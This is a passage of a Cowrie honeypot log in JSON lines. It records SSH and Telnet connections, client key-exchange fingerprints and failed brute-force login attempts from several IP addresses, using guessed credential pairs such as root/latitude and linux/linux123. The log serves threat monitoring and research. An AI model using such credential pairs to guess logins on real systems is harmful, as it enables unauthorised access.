hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:02.066744Z","src_ip":"205.254.166.156","session":"9ef7250a97ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:02.940366Z","src_ip":"205.254.166.156","session":"9ef7250a97ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:04.154993Z","src_ip":"205.254.166.156","session":"9ef7250a97ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":57094,"dst_ip":"159.203.135.109","dst_port":22,"session":"36efe1067b74","protocol":"ssh","message":"New connection: 163.245.222.56:57094 (159.203.135.109:22) [session: 36efe1067b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:30.102932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:30.117188Z","src_ip":"163.245.222.56","session":"36efe1067b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:30.122562Z","src_ip":"163.245.222.56","session":"36efe1067b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:30.156199Z","src_ip":"163.245.222.56","session":"36efe1067b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:31.164891Z","src_ip":"163.245.222.56","session":"36efe1067b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":50592,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e6d8d9319ac","protocol":"ssh","message":"New connection: 2.27.36.16:50592 (159.203.135.109:22) [session: 8e6d8d9319ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:54.471099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:54.476033Z","src_ip":"2.27.36.16","session":"8e6d8d9319ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:54.576128Z","src_ip":"2.27.36.16","session":"8e6d8d9319ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"latitude","message":"login attempt [root/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:55.013987Z","src_ip":"2.27.36.16","session":"8e6d8d9319ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:42:56.114544Z","src_ip":"2.27.36.16","session":"8e6d8d9319ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":35542,"dst_ip":"159.203.135.109","dst_port":22,"session":"3390ed79322c","protocol":"ssh","message":"New connection: 41.181.156.205:35542 (159.203.135.109:22) [session: 3390ed79322c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:13.855288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:13.860001Z","src_ip":"41.181.156.205","session":"3390ed79322c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:14.107405Z","src_ip":"41.181.156.205","session":"3390ed79322c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:15.125428Z","src_ip":"41.181.156.205","session":"3390ed79322c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:16.376988Z","src_ip":"41.181.156.205","session":"3390ed79322c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":56522,"dst_ip":"159.203.135.109","dst_port":22,"session":"1565a811bd2c","protocol":"ssh","message":"New connection: 163.245.222.56:56522 (159.203.135.109:22) [session: 1565a811bd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:38.025449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:38.031266Z","src_ip":"163.245.222.56","session":"1565a811bd2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:38.037711Z","src_ip":"163.245.222.56","session":"1565a811bd2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:38.095146Z","src_ip":"163.245.222.56","session":"1565a811bd2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:39.104227Z","src_ip":"163.245.222.56","session":"1565a811bd2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":48756,"dst_ip":"10.17.0.5","dst_port":23,"session":"26df805857aa","protocol":"telnet","message":"New connection: 167.71.238.254:48756 (10.17.0.5:23) [session: 26df805857aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:54.674287Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":46432,"dst_ip":"159.203.135.109","dst_port":22,"session":"e60ea37be377","protocol":"ssh","message":"New connection: 2.27.36.16:46432 (159.203.135.109:22) [session: e60ea37be377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:58.988965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:58.994618Z","src_ip":"2.27.36.16","session":"e60ea37be377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:59.095073Z","src_ip":"2.27.36.16","session":"e60ea37be377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:43:59.523243Z","src_ip":"2.27.36.16","session":"e60ea37be377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:00.625729Z","src_ip":"2.27.36.16","session":"e60ea37be377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":10365,"dst_ip":"159.203.135.109","dst_port":22,"session":"82c4d06691eb","protocol":"ssh","message":"New connection: 205.254.166.156:10365 (159.203.135.109:22) [session: 82c4d06691eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:01.770245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:01.777025Z","src_ip":"205.254.166.156","session":"82c4d06691eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:01.993306Z","src_ip":"205.254.166.156","session":"82c4d06691eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sybase","message":"login attempt [root/sybase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:02.877798Z","src_ip":"205.254.166.156","session":"82c4d06691eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:04.093637Z","src_ip":"205.254.166.156","session":"82c4d06691eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":33080,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1e9c4009f8b","protocol":"telnet","message":"New connection: 167.71.238.254:33080 (10.17.0.5:23) [session: b1e9c4009f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:15.036051Z"}
{"eventid":"cowrie.session.closed","duration":28.47468900680542,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:23.148868Z","src_ip":"167.71.238.254","session":"26df805857aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":36806,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c6c56f1ca57","protocol":"ssh","message":"New connection: 163.245.222.56:36806 (159.203.135.109:22) [session: 0c6c56f1ca57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:42.123660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:42.128479Z","src_ip":"163.245.222.56","session":"0c6c56f1ca57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:42.133871Z","src_ip":"163.245.222.56","session":"0c6c56f1ca57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"latitude","message":"login attempt [root/latitude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:42.190021Z","src_ip":"163.245.222.56","session":"0c6c56f1ca57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:43.198858Z","src_ip":"163.245.222.56","session":"0c6c56f1ca57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":48096,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6bcba590368","protocol":"ssh","message":"New connection: 41.181.156.205:48096 (159.203.135.109:22) [session: c6bcba590368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:43.513091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:43.521920Z","src_ip":"41.181.156.205","session":"c6bcba590368","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:44:43.804648Z","src_ip":"41.181.156.205","session":"c6bcba590368","protocol":"ssh"}
